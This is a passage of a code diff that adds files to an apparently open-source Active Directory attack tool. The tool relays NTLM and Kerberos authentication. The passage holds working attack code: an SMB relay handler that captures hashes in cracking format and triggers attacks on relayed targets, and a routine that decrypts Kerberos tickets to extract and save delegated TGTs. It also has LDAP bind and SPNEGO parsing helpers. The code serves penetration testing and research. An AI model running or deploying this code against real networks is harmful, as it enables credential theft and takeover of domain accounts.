packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
|
||||
packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
|
||||
packet['Command'] = recvPacket['Command']
|
||||
packet['Pid'] = recvPacket['Pid']
|
||||
packet['Tid'] = recvPacket['Tid']
|
||||
packet['Mid'] = recvPacket['Mid']
|
||||
packet['Uid'] = recvPacket['Uid']
|
||||
packet['Data'] = '\x00\x00\x00'
|
||||
packet['ErrorCode'] = errorCode >> 16
|
||||
packet['ErrorClass'] = errorCode & 0xff
|
||||
|
||||
LOG.error("Authenticating against %s://%s as %s\%s FAILED" % (
|
||||
self.target.scheme, self.target.netloc, authenticateMessage['domain_name'],
|
||||
authenticateMessage['user_name']))
|
||||
|
||||
#Log this target as processed for this client
|
||||
self.targetprocessor.logTarget(self.target)
|
||||
|
||||
client.killConnection()
|
||||
|
||||
return None, [packet], errorCode
|
||||
else:
|
||||
# We have a session, create a thread and do whatever we want
|
||||
LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % (
|
||||
self.target.scheme, self.target.netloc, authenticateMessage['domain_name'], authenticateMessage['user_name']))
|
||||
|
||||
# Log this target as processed for this client
|
||||
self.targetprocessor.logTarget(self.target, True)
|
||||
|
||||
ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'],
|
||||
authenticateMessage['user_name'],
|
||||
authenticateMessage['domain_name'],
|
||||
authenticateMessage['lanman'], authenticateMessage['ntlm'])
|
||||
client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data
|
||||
|
||||
if self.server.getJTRdumpPath() != '':
|
||||
writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
|
||||
self.server.getJTRdumpPath())
|
||||
|
||||
del (smbData[self.target])
|
||||
|
||||
self.do_attack(client)
|
||||
# Now continue with the server
|
||||
#############################################################
|
||||
|
||||
respToken = SPNEGO_NegTokenResp()
|
||||
# accept-completed
|
||||
respToken['NegResult'] = '\x00'
|
||||
|
||||
# Status SUCCESS
|
||||
errorCode = STATUS_SUCCESS
|
||||
# Let's store it in the connection data
|
||||
connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
|
||||
else:
|
||||
raise Exception("Unknown NTLMSSP MessageType %d" % messageType)
|
||||
|
||||
respParameters['SecurityBlobLength'] = len(respToken)
|
||||
|
||||
respData['SecurityBlobLength'] = respParameters['SecurityBlobLength']
|
||||
respData['SecurityBlob'] = respToken.getData()
|
||||
|
||||
else:
|
||||
# Process Standard Security
|
||||
#TODO: Fix this for other protocols than SMB [!]
|
||||
respParameters = smb.SMBSessionSetupAndXResponse_Parameters()
|
||||
respData = smb.SMBSessionSetupAndXResponse_Data()
|
||||
sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters'])
|
||||
sessionSetupData = smb.SMBSessionSetupAndX_Data()
|
||||
sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength']
|
||||
sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength']
|
||||
sessionSetupData.fromString(SMBCommand['Data'])
|
||||
|
||||
client = smbData[self.target]['SMBClient']
|
||||
_, errorCode = client.sendStandardSecurityAuth(sessionSetupData)
|
||||
|
||||
if errorCode != STATUS_SUCCESS:
|
||||
# Let's return what the target returned, hope the client connects back again
|
||||
packet = smb.NewSMBPacket()
|
||||
packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
|
||||
packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
|
||||
packet['Command'] = recvPacket['Command']
|
||||
packet['Pid'] = recvPacket['Pid']
|
||||
packet['Tid'] = recvPacket['Tid']
|
||||
packet['Mid'] = recvPacket['Mid']
|
||||
packet['Uid'] = recvPacket['Uid']
|
||||
packet['Data'] = '\x00\x00\x00'
|
||||
packet['ErrorCode'] = errorCode >> 16
|
||||
packet['ErrorClass'] = errorCode & 0xff
|
||||
|
||||
#Log this target as processed for this client
|
||||
self.targetprocessor.logTarget(self.target)
|
||||
|
||||
# Finish client's connection
|
||||
#client.killConnection()
|
||||
|
||||
return None, [packet], errorCode
|
||||
else:
|
||||
# We have a session, create a thread and do whatever we want
|
||||
LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % (
|
||||
self.target.scheme, self.target.netloc, sessionSetupData['PrimaryDomain'],
|
||||
sessionSetupData['Account']))
|
||||
|
||||
self.authUser = ('%s/%s' % (sessionSetupData['PrimaryDomain'], sessionSetupData['Account'])).upper()
|
||||
|
||||
# Log this target as processed for this client
|
||||
self.targetprocessor.logTarget(self.target, True)
|
||||
|
||||
ntlm_hash_data = outputToJohnFormat('', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'],
|
||||
sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd'])
|
||||
client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data
|
||||
|
||||
if self.server.getJTRdumpPath() != '':
|
||||
writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
|
||||
self.server.getJTRdumpPath())
|
||||
|
||||
del (smbData[self.target])
|
||||
|
||||
self.do_attack(client)
|
||||
# Now continue with the server
|
||||
#############################################################
|
||||
|
||||
respData['NativeOS'] = smbServer.getServerOS()
|
||||
respData['NativeLanMan'] = smbServer.getServerOS()
|
||||
respSMBCommand['Parameters'] = respParameters
|
||||
respSMBCommand['Data'] = respData
|
||||
|
||||
# From now on, the client can ask for other commands
|
||||
connData['Authenticated'] = True
|
||||
|
||||
#############################################################
|
||||
# SMBRelay
|
||||
smbServer.setConnectionData('SMBRelay', smbData)
|
||||
#############################################################
|
||||
smbServer.setConnectionData(connId, connData)
|
||||
|
||||
return [respSMBCommand], None, errorCode
|
||||
################################################################################
|
||||
|
||||
def do_attack(self, authdata):
|
||||
# Do attack. Note that unlike the HTTP server, the config entries are stored in the current object and not in any of its properties
|
||||
self.authUser = '%s/%s' % (authdata['domain'], authdata['username'])
|
||||
# No SOCKS, since socks is pointless when you can just export the tickets
|
||||
# instead we iterate over all the targets
|
||||
for target in self.config.target.originalTargets:
|
||||
parsed_target = target
|
||||
if parsed_target.scheme.upper() in self.config.attacks:
|
||||
client = self.config.protocolClients[target.scheme.upper()](self.config, parsed_target)
|
||||
client.initConnection(authdata, self.config.dcip)
|
||||
# We have an attack.. go for it
|
||||
attack = self.config.attacks[parsed_target.scheme.upper()]
|
||||
client_thread = attack(self.config, client.session, self.authUser)
|
||||
client_thread.start()
|
||||
else:
|
||||
LOG.error('No attack configured for %s', parsed_target.scheme.upper())
|
||||
|
||||
def _start(self):
|
||||
self.server.daemon_threads=True
|
||||
self.server.serve_forever()
|
||||
LOG.info('Shutting down SMB Server')
|
||||
self.server.server_close()
|
||||
|
||||
def run(self):
|
||||
LOG.info("Setting up SMB Server")
|
||||
self._start()
|
||||
@@ -0,0 +1 @@
|
||||
pass
|
||||
@@ -0,0 +1,30 @@
|
||||
"""
|
||||
Config class, mostly extended from ntlmrelayx
|
||||
"""
|
||||
from impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig
|
||||
|
||||
class KrbRelayxConfig(NTLMRelayxConfig):
|
||||
def __init__(self):
|
||||
NTLMRelayxConfig.__init__(self)
|
||||
|
||||
# Auth options
|
||||
self.dcip = None
|
||||
self.aeskey = None
|
||||
self.hashes = None
|
||||
self.password = None
|
||||
self.israwpassword = False
|
||||
self.salt = None
|
||||
|
||||
# Krb options
|
||||
self.format = 'ccache'
|
||||
|
||||
def setAuthOptions(self, aeskey, hashes, dcip, password, salt, israwpassword=False):
|
||||
self.dcip = dcip
|
||||
self.aeskey = aeskey
|
||||
self.hashes = hashes
|
||||
self.password = password
|
||||
self.salt = salt
|
||||
self.israwpassword = israwpassword
|
||||
|
||||
def setKrbOptions(self, outformat):
|
||||
self.format = outformat
|
||||
@@ -0,0 +1,295 @@
|
||||
import struct
|
||||
import datetime
|
||||
from binascii import unhexlify, hexlify
|
||||
from pyasn1.type.univ import noValue
|
||||
from pyasn1.codec.der import decoder, encoder
|
||||
from pyasn1.error import PyAsn1Error
|
||||
from ldap3 import Server, Connection, NTLM, ALL, SASL, KERBEROS
|
||||
from ldap3.core.results import RESULT_STRONGER_AUTH_REQUIRED
|
||||
from ldap3.operation.bind import bind_operation
|
||||
from impacket.spnego import SPNEGO_NegTokenInit, TypesMech
|
||||
from impacket.krb5.gssapi import KRB5_AP_REQ, GSS_C_DELEG_FLAG
|
||||
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \
|
||||
Ticket as TicketAsn1, EncTGSRepPart, EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1, KRB_CRED, EncKrbCredPart
|
||||
|
||||
from impacket.krb5.crypto import Key, _enctype_table, Enctype, InvalidChecksum, string_to_key
|
||||
from krbcredccache import KrbCredCCache
|
||||
from spnego import GSSAPIHeader_SPNEGO_Init, GSSAPIHeader_KRB5_AP_REQ
|
||||
from impacket import LOG
|
||||
from impacket.krb5.types import Principal, KerberosTime, Ticket
|
||||
from impacket.krb5 import constants
|
||||
from impacket.krb5.kerberosv5 import getKerberosTGS
|
||||
from Cryptodome.Hash import HMAC, MD4
|
||||
|
||||
def get_kerberos_loot(token, options):
|
||||
from pyasn1 import debug
|
||||
# debug.setLogger(debug.Debug('all'))
|
||||
# Do we have a Krb ticket?
|
||||
blob = decoder.decode(token, asn1Spec=GSSAPIHeader_SPNEGO_Init())[0]
|
||||
# print str(blob)
|
||||
|
||||
data = blob['innerContextToken']['negTokenInit']['mechToken']
|
||||
|
||||
try:
|
||||
payload = decoder.decode(data, asn1Spec=GSSAPIHeader_KRB5_AP_REQ())[0]
|
||||
except PyAsn1Error:
|
||||
raise Exception('Error obtaining Kerberos data')
|
||||
# print payload
|
||||
# It is an AP_REQ
|
||||
decodedTGS = payload['apReq']
|
||||
# print decodedTGS
|
||||
|
||||
# Get ticket data
|
||||
|
||||
cipherText = decodedTGS['ticket']['enc-part']['cipher']
|
||||
|
||||
# Key Usage 2
|
||||
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
|
||||
# application session key), encrypted with the service key
|
||||
# (section 5.4.2)
|
||||
|
||||
newCipher = _enctype_table[int(decodedTGS['ticket']['enc-part']['etype'])]
|
||||
|
||||
# Create decryption keys from specified Kerberos keys
|
||||
if options.hashes is not None:
|
||||
nthash = options.hashes.split(':')[1]
|
||||
else:
|
||||
nthash = ''
|
||||
|
||||
aesKey = options.aeskey or ''
|
||||
|
||||
allciphers = [
|
||||
int(constants.EncryptionTypes.rc4_hmac.value),
|
||||
int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),
|
||||
int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value)
|
||||
]
|
||||
|
||||
# Store Kerberos keys
|
||||
# TODO: get the salt from preauth info (requires us to send AS_REQs to the DC)
|
||||
keys = {}
|
||||
|
||||
if nthash != '':
|
||||
keys[int(constants.EncryptionTypes.rc4_hmac.value)] = unhexlify(nthash)
|
||||
if aesKey != '':
|
||||
if len(aesKey) == 64:
|
||||
keys[int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value)] = unhexlify(aesKey)
|
||||
else:
|
||||
keys[int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value)] = unhexlify(aesKey)
|
||||
|
||||
ekeys = {}
|
||||
for kt, key in keys.items():
|
||||
ekeys[kt] = Key(kt, key)
|
||||
|
||||
# Calculate Kerberos keys from specified password/salt
|
||||
if options.password and options.salt:
|
||||
for cipher in allciphers:
|
||||
if cipher == 23 and options.israwpassword:
|
||||
# RC4 calculation is done manually for raw passwords
|
||||
md4 = MD4.new()
|
||||
md4.update(options.password)
|
||||
ekeys[cipher] = Key(cipher, md4.digest())
|
||||
else:
|
||||
# Do conversion magic for raw passwords
|
||||
if options.israwpassword:
|
||||
rawsecret = options.password.decode('utf-16-le', 'replace').encode('utf-8', 'replace')
|
||||
else:
|
||||
# If not raw, it was specified from the command line, assume it's not UTF-16
|
||||
rawsecret = options.password
|
||||
ekeys[cipher] = string_to_key(cipher, rawsecret, options.salt)
|
||||
LOG.debug('Calculated type %d Kerberos key: %s', cipher, hexlify(ekeys[cipher].contents))
|
||||
|
||||
# Select the correct encryption key
|
||||
try:
|
||||
key = ekeys[decodedTGS['ticket']['enc-part']['etype']]
|
||||
# This raises a KeyError (pun intended) if our key is not found
|
||||
except KeyError:
|
||||
LOG.error('Could not find the correct encryption key! Ticket is encrypted with keytype %d, but keytype(s) %s were supplied',
|
||||
decodedTGS['ticket']['enc-part']['etype'],
|
||||
', '.join([str(enctype) for enctype in ekeys.keys()]))
|
||||
return None
|
||||
|
||||
# Recover plaintext info from ticket
|
||||
try:
|
||||
plainText = newCipher.decrypt(key, 2, str(cipherText))
|
||||
except InvalidChecksum:
|
||||
LOG.error('Ciphertext integrity failed. Most likely the account password or AES key is incorrect')
|
||||
if options.salt:
|
||||
LOG.info('You specified a salt manually. Make sure it has the correct case.')
|
||||
return
|
||||
LOG.debug('Ticket decrypt OK')
|
||||
encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0]
|
||||
sessionKey = Key(encTicketPart['key']['keytype'], str(encTicketPart['key']['keyvalue']))
|
||||
|
||||
# Key Usage 11
|
||||
# AP-REQ Authenticator (includes application authenticator
|
||||
# subkey), encrypted with the application session key
|
||||
# (Section 5.5.1)
|
||||
|
||||
# print encTicketPart
|
||||
flags = encTicketPart['flags'].asBinary()
|
||||
# print flags
|
||||
# for flag in TicketFlags:
|
||||
# if flags[flag.value] == '1':
|
||||
# print flag
|
||||
# print flags[TicketFlags.ok_as_delegate.value]
|
||||
cipherText = decodedTGS['authenticator']['cipher']
|
||||
newCipher = _enctype_table[int(decodedTGS['authenticator']['etype'])]
|
||||
# Recover plaintext info from authenticator
|
||||
plainText = newCipher.decrypt(sessionKey, 11, str(cipherText))
|
||||
|
||||
authenticator = decoder.decode(plainText, asn1Spec=Authenticator())[0]
|
||||
print authenticator
|
||||
|
||||
# The checksum may contain the delegated ticket
|
||||
cksum = authenticator['cksum']
|
||||
if cksum['cksumtype'] != 32771:
|
||||
raise Exception('Checksum is not KRB5 type: %d' % cksum['cksumtype'])
|
||||
|
||||
# Checksum as in 4.1.1 [RFC4121]
|
||||
# Fields:
|
||||
# 0-3 Length of channel binding info (fixed at 16)
|
||||
# 4-19 channel binding info
|
||||
# 20-23 flags
|
||||
# 24-25 delegation option identifier
|
||||
# 26-27 length of deleg field
|
||||
# 28..(n-1) KRB_CRED message if deleg is used (n = length of deleg + 28)
|
||||
# n..last extensions
|
||||
flags = struct.unpack('<L', str(cksum['checksum'])[20:24])[0]
|
||||
# print flags
|
||||
if not flags & GSS_C_DELEG_FLAG:
|
||||
LOG.error('Delegate info not set, cannot extract ticket!')
|
||||
LOG.error('Make sure the account you use has unconstrained delegation rights')
|
||||
return
|
||||
|
||||
dlen = struct.unpack('<H', str(cksum['checksum'])[26:28])[0]
|
||||
deldata = str(cksum['checksum'])[28:28+dlen]
|
||||
creds = decoder.decode(deldata, asn1Spec=KRB_CRED())[0]
|
||||
print creds
|
||||
subkey = Key(authenticator['subkey']['keytype'], str(authenticator['subkey']['keyvalue']))
|
||||
newCipher = _enctype_table[int(creds['enc-part']['etype'])]
|
||||
|
||||
plainText = newCipher.decrypt(sessionKey, 14, str(creds['enc-part']['cipher']))
|
||||
# print plainText
|
||||
# Now we got the EncKrbCredPart
|
||||
enc_part = decoder.decode(plainText, asn1Spec=EncKrbCredPart())[0]
|
||||
print enc_part
|
||||
|
||||
for i, tinfo in enumerate(enc_part['ticket-info']):
|
||||
# This is what we are after :)
|
||||
# uname = Principal(ticket['pname']['name-string'][0])
|
||||
username = '/'.join([str(item) for item in tinfo['pname']['name-string']])
|
||||
realm = str(tinfo['prealm'])
|
||||
fullname = '%s@%s' % (username, realm)
|
||||
sname = Principal([str(item) for item in tinfo['sname']['name-string']])
|
||||
LOG.info('Got ticket for %s [%s]', fullname, sname)
|
||||
ticket = creds['tickets'][i]
|
||||
filename = '%s_%s' % (fullname, sname)
|
||||
saveformat = options.format
|
||||
LOG.info('Saving ticket in %s.%s', filename, saveformat)
|
||||
ccache = KrbCredCCache()
|
||||
ccache.fromKrbCredTicket(ticket, tinfo)
|
||||
if saveformat == 'ccache':
|
||||
ccache.saveFile(filename + '.ccache')
|
||||
else:
|
||||
# Save as Kirbi
|
||||
oc = KRB_CRED()
|
||||
oc['tickets'].append(ticket)
|
||||
oc['enc-part']['etype'] = 0
|
||||
new_enc_part = EncKrbCredPart()
|
||||
new_enc_part['ticket-info'].append(tinfo)
|
||||
oc['enc-part']['cipher'] = encoder.encode(new_enc_part)
|
||||
ocdata = encoder.encode(oc)
|
||||
with open(filename + '.kirbi', 'wb') as outfile:
|
||||
outfile.write(ocdata)
|
||||
|
||||
data = {
|
||||
'username': username,
|
||||
'domain': realm,
|
||||
# We take it from the ccache since this already has a helper function to get
|
||||
# it in the right format.
|
||||
'tgt': ccache.credentials[0].toTGT()
|
||||
}
|
||||
return data
|
||||
|
||||
def kirbi2ccache(kirbifile, ccachefile):
|
||||
with open(kirbifile, 'rb') as infile:
|
||||
data = infile.read()
|
||||
creds = decoder.decode(data, asn1Spec=KRB_CRED())[0]
|
||||
# This shouldn't be encrypted normally
|
||||
if creds['enc-part']['etype'] != 0:
|
||||
raise Exception('Ticket info is encrypted with cipher other than null')
|
||||
enc_part = decoder.decode(creds['enc-part']['cipher'], asn1Spec=EncKrbCredPart())[0]
|
||||
tinfo = enc_part['ticket-info']
|
||||
ccache = KrbCredCCache()
|
||||
# Enumerate all
|
||||
for i, tinfo in enumerate(tinfo):
|
||||
ccache.fromKrbCredTicket(creds['tickets'][i], tinfo)
|
||||
ccache.saveFile(ccachefile)
|
||||
|
||||
def ccache2kirbi(ccachefile, kirbifile):
|
||||
ccache = KrbCredCCache.loadFile(ccachefile)
|
||||
### TODO from here ###
|
||||
|
||||
def ldap_kerberos(domain, kdc, tgt, username, ldapconnection, hostname):
|
||||
# Hackery to authenticate with ldap3 using impacket Kerberos stack
|
||||
# I originally wrote this for BloodHound.py, but it works fine (tm) here too
|
||||
|
||||
username = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
|
||||
servername = Principal('ldap/%s' % hostname, type=constants.PrincipalNameType.NT_SRV_INST.value)
|
||||
tgs, cipher, _, sessionkey = getKerberosTGS(servername, domain, kdc,
|
||||
tgt['KDC_REP'], tgt['cipher'], tgt['sessionKey'])
|
||||
|
||||
# Let's build a NegTokenInit with a Kerberos AP_REQ
|
||||
blob = SPNEGO_NegTokenInit()
|
||||
|
||||
# Kerberos
|
||||
blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
|
||||
|
||||
# Let's extract the ticket from the TGS
|
||||
tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
|
||||
ticket = Ticket()
|
||||
ticket.from_asn1(tgs['ticket'])
|
||||
|
||||
# Now let's build the AP_REQ
|
||||
apReq = AP_REQ()
|
||||
apReq['pvno'] = 5
|
||||
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
|
||||
|
||||
opts = []
|
||||
apReq['ap-options'] = constants.encodeFlags(opts)
|
||||
seq_set(apReq, 'ticket', ticket.to_asn1)
|
||||
|
||||
authenticator = Authenticator()
|
||||
authenticator['authenticator-vno'] = 5
|
||||
authenticator['crealm'] = domain
|
||||
seq_set(authenticator, 'cname', username.components_to_asn1)
|
||||
now = datetime.datetime.utcnow()
|
||||
|
||||
authenticator['cusec'] = now.microsecond
|
||||
authenticator['ctime'] = KerberosTime.to_asn1(now)
|
||||
|
||||
encodedAuthenticator = encoder.encode(authenticator)
|
||||
|
||||
# Key Usage 11
|
||||
# AP-REQ Authenticator (includes application authenticator
|
||||
# subkey), encrypted with the application session key
|
||||
# (Section 5.5.1)
|
||||
encryptedEncodedAuthenticator = cipher.encrypt(sessionkey, 11, encodedAuthenticator, None)
|
||||
|
||||
apReq['authenticator'] = noValue
|
||||
apReq['authenticator']['etype'] = cipher.enctype
|
||||
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
|
||||
|
||||
blob['MechToken'] = encoder.encode(apReq)
|
||||
|
||||
# From here back to ldap3
|
||||
ldapconnection.open(read_server_info=False)
|
||||
request = bind_operation(ldapconnection.version, SASL, None, None, ldapconnection.sasl_mechanism, blob.getData())
|
||||
response = ldapconnection.post_send_single_response(ldapconnection.send('bindRequest', request, None))[0]
|
||||
ldapconnection.result = response
|
||||
if response['result'] == 0:
|
||||
ldapconnection.bound = True
|
||||
ldapconnection.refresh_server_info()
|
||||
return response['result'] == 0
|
||||
|
||||
|
||||
@@ -0,0 +1,58 @@
|
||||
from impacket.krb5.constants import TicketFlags
|
||||
from impacket.krb5.ccache import CCache, Header, Credential, KeyBlock, Times, CountedOctetString, Principal, Ticket
|
||||
from impacket.krb5 import types
|
||||
from pyasn1.codec.der import encoder
|
||||
|
||||
class KrbCredCCache(CCache):
|
||||
"""
|
||||
This is just the impacket ccache, but with an extra function to create it from
|
||||
a Krb Cred Ticket and ticket data
|
||||
"""
|
||||
def fromKrbCredTicket(self, ticket, ticketdata):
|
||||
self.headers = []
|
||||
header = Header()
|
||||
header['tag'] = 1
|
||||
header['taglen'] = 8
|
||||
header['tagdata'] = '\xff\xff\xff\xff\x00\x00\x00\x00'
|
||||
self.headers.append(header)
|
||||
|
||||
|
||||
tmpPrincipal = types.Principal()
|
||||
tmpPrincipal.from_asn1(ticketdata, 'prealm', 'pname')
|
||||
self.principal = Principal()
|
||||
self.principal.fromPrincipal(tmpPrincipal)
|
||||
|
||||
encASRepPart = ticketdata
|
||||
|
||||
credential = Credential()
|
||||
server = types.Principal()
|
||||
server.from_asn1(encASRepPart, 'srealm', 'sname')
|
||||
tmpServer = Principal()
|
||||
tmpServer.fromPrincipal(server)
|
||||
|
||||
credential['client'] = self.principal
|
||||
credential['server'] = tmpServer
|
||||
credential['is_skey'] = 0
|
||||
|
||||
credential['key'] = KeyBlock()
|
||||
credential['key']['keytype'] = int(encASRepPart['key']['keytype'])
|
||||
credential['key']['keyvalue'] = str(encASRepPart['key']['keyvalue'])
|
||||
credential['key']['keylen'] = len(credential['key']['keyvalue'])
|
||||
|
||||
credential['time'] = Times()
|
||||
credential['time']['authtime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encASRepPart['starttime']))
|
||||
credential['time']['starttime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encASRepPart['starttime']))
|
||||
credential['time']['endtime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encASRepPart['endtime']))
|
||||
credential['time']['renew_till'] = self.toTimeStamp(types.KerberosTime.from_asn1(encASRepPart['renew-till']))
|
||||
|
||||
flags = self.reverseFlags(encASRepPart['flags'])
|
||||
credential['tktflags'] = flags
|
||||
|
||||
credential['num_address'] = 0
|
||||
credential.ticket = CountedOctetString()
|
||||
credential.ticket['data'] = encoder.encode(ticket.clone(tagSet=Ticket.tagSet, cloneValueFlag=True))
|
||||
credential.ticket['length'] = len(credential.ticket['data'])
|
||||
credential.secondTicket = CountedOctetString()
|
||||
credential.secondTicket['data'] = ''
|
||||
credential.secondTicket['length'] = 0
|
||||
self.credentials.append(credential)
|
||||
@@ -0,0 +1,160 @@
|
||||
from pyasn1.type import univ, char, namedtype, namedval, tag, constraint, useful
|
||||
from impacket.krb5.asn1 import _application_tag, _sequence_component, _sequence_optional_component, AP_REQ, AP_REP
|
||||
from pyasn1.codec.der import decoder, encoder
|
||||
|
||||
MechTypes = {
|
||||
'1.3.6.1.4.1.311.2.2.10': 'NTLMSSP - Microsoft NTLM Security Support Provider',
|
||||
'1.2.840.48018.1.2.2': 'MS KRB5 - Microsoft Kerberos 5',
|
||||
'1.2.840.113554.1.2.2': 'KRB5 - Kerberos 5',
|
||||
'1.2.840.113554.1.2.2.3': 'KRB5 - Kerberos 5 - User to User',
|
||||
'1.3.6.1.4.1.311.2.2.30': 'NEGOEX - SPNEGO Extended Negotiation Security Mechanism'
|
||||
}
|
||||
|
||||
TypesMech = dict((v,k) for k, v in MechTypes.iteritems())
|
||||
|
||||
class ContextFlags(univ.BitString):
|
||||
namedValues = namedval.NamedValues(
|
||||
('delegFlag', 0),
|
||||
('mutualFlag', 1),
|
||||
('replayFlag', 2),
|
||||
('sequenceFlag', 3),
|
||||
('anonFlag', 4),
|
||||
('confFlag', 5),
|
||||
('integFlag', 6)
|
||||
)
|
||||
|
||||
class NegResult(univ.Enumerated):
|
||||
namedValues = namedval.NamedValues(
|
||||
('accept_completed', 0),
|
||||
('accept_incomplete', 1),
|
||||
('reject', 2),
|
||||
('request_mic', 3)
|
||||
)
|
||||
|
||||
class MechType(univ.ObjectIdentifier):
|
||||
pass
|
||||
|
||||
|
||||
class MechTypeList(univ.SequenceOf):
|
||||
componentType = MechType()
|
||||
|
||||
|
||||
class NegHints(univ.Sequence):
|
||||
componentType = namedtype.NamedTypes(
|
||||
_sequence_optional_component('hintName', 0, char.GeneralString()),
|
||||
_sequence_optional_component('hintAddress', 1, univ.OctetString())
|
||||
)
|
||||
|
||||
|
||||
class NegTokenInit(univ.Sequence):
|
||||
componentType = namedtype.NamedTypes(
|
||||
_sequence_component('mechTypes', 0, MechTypeList()),
|
||||
_sequence_optional_component('reqFlags', 1, ContextFlags()),
|
||||
_sequence_optional_component('mechToken', 2, univ.OctetString()),
|
||||
_sequence_optional_component('mechListMIC', 3, univ.OctetString())
|
||||
)
|
||||
|
||||
|
||||
class NegTokenInit2(univ.Sequence):
|
||||
"""
|
||||
negTokenInit2 is a Microsoft extension of negTokenInit, initiating SPNEGO from the server
|
||||
See [MS-SPNG] for details. The negHints field should always contain the hintname
|
||||
"not_defined_in_RFC4178@please_ignore"
|
||||
"""
|
||||
componentType = namedtype.NamedTypes(
|
||||
_sequence_component('mechTypes', 0, MechTypeList()),
|
||||
_sequence_optional_component('reqFlags', 1, ContextFlags()),
|
||||
_sequence_optional_component('mechToken', 2, univ.OctetString()),
|
||||
_sequence_optional_component('negHints', 3, NegHints()),
|
||||
_sequence_optional_component('mechListMIC', 4, univ.OctetString())
|
||||
)
|
||||
|
||||
class NegTokenResp(univ.Sequence):
|
||||
componentType = namedtype.NamedTypes(
|
||||
_sequence_optional_component('negResult', 0, NegResult()),
|
||||
_sequence_optional_component('supportedMech', 1, MechType()),
|
||||
_sequence_optional_component('responseToken', 2, univ.OctetString()),
|
||||
_sequence_optional_component('mechListMIC', 3, univ.OctetString())
|
||||
)
|
||||
|
||||
class NegotiationToken(univ.Choice):
|
||||
componentType = namedtype.NamedTypes(
|
||||
namedtype.NamedType('negTokenInit', NegTokenInit().subtype(explicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 0))),
|
||||
namedtype.NamedType('negTokenResp', NegTokenResp().subtype(explicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 1)))
|
||||
)
|
||||
|
||||
class GSSAPIHeader_SPNEGO_Init(univ.Sequence):
|
||||
"""
|
||||
GSSAPI Header containing SPNEGO negTokenInit or negTokenResp
|
||||
"""
|
||||
tagSet = univ.Sequence.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 0))
|
||||
componentType = namedtype.NamedTypes(
|
||||
namedtype.NamedType('tokenOid', univ.ObjectIdentifier()),
|
||||
namedtype.NamedType('innerContextToken', NegotiationToken())
|
||||
)
|
||||
|
||||
class GSSAPIHeader_SPNEGO_Init2(univ.Sequence):
|
||||
"""
|
||||
GSSAPI Header containing SPNEGO negTokenInit2
|
||||
negTokenInit2 is a Microsoft extension, initiating SPNEGO from the server
|
||||
See [MS-SPNG] for details
|
||||
"""
|
||||
tagSet = univ.Sequence.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 0))
|
||||
componentType = namedtype.NamedTypes(
|
||||
namedtype.NamedType('tokenOid', univ.ObjectIdentifier()),
|
||||
_sequence_component('innerContextToken', 0, NegTokenInit2())
|
||||
)
|
||||
|
||||
class GSSAPIHeader_KRB5_AP_REQ(univ.Sequence):
|
||||
tagSet = univ.Sequence.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 0))
|
||||
componentType = namedtype.NamedTypes(
|
||||
namedtype.NamedType('tokenOid', univ.ObjectIdentifier()),
|
||||
# Actualy this is a constant 0x0001, but this decodes as an asn1 boolean
|
||||
namedtype.NamedType('krb5_ap_req', univ.Boolean()),
|
||||
namedtype.NamedType('apReq', AP_REQ()),
|
||||
)
|
||||
|
||||
class GSSAPIHeader_KRB5_AP_REP(univ.Sequence):
|
||||
tagSet = univ.Sequence.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 0))
|
||||
componentType = namedtype.NamedTypes(
|
||||
namedtype.NamedType('tokenOid', univ.ObjectIdentifier()),
|
||||
# Actualy this is a constant 0x0002, but this decodes as an asn1 integer
|
||||
namedtype.NamedType('krb5_ap_rep', univ.Integer()),
|
||||
namedtype.NamedType('apRep', AP_REP()),
|
||||
)
|
||||
from pyasn1 import debug
|
||||
|
||||
def test():
|
||||
import binascii
|
||||
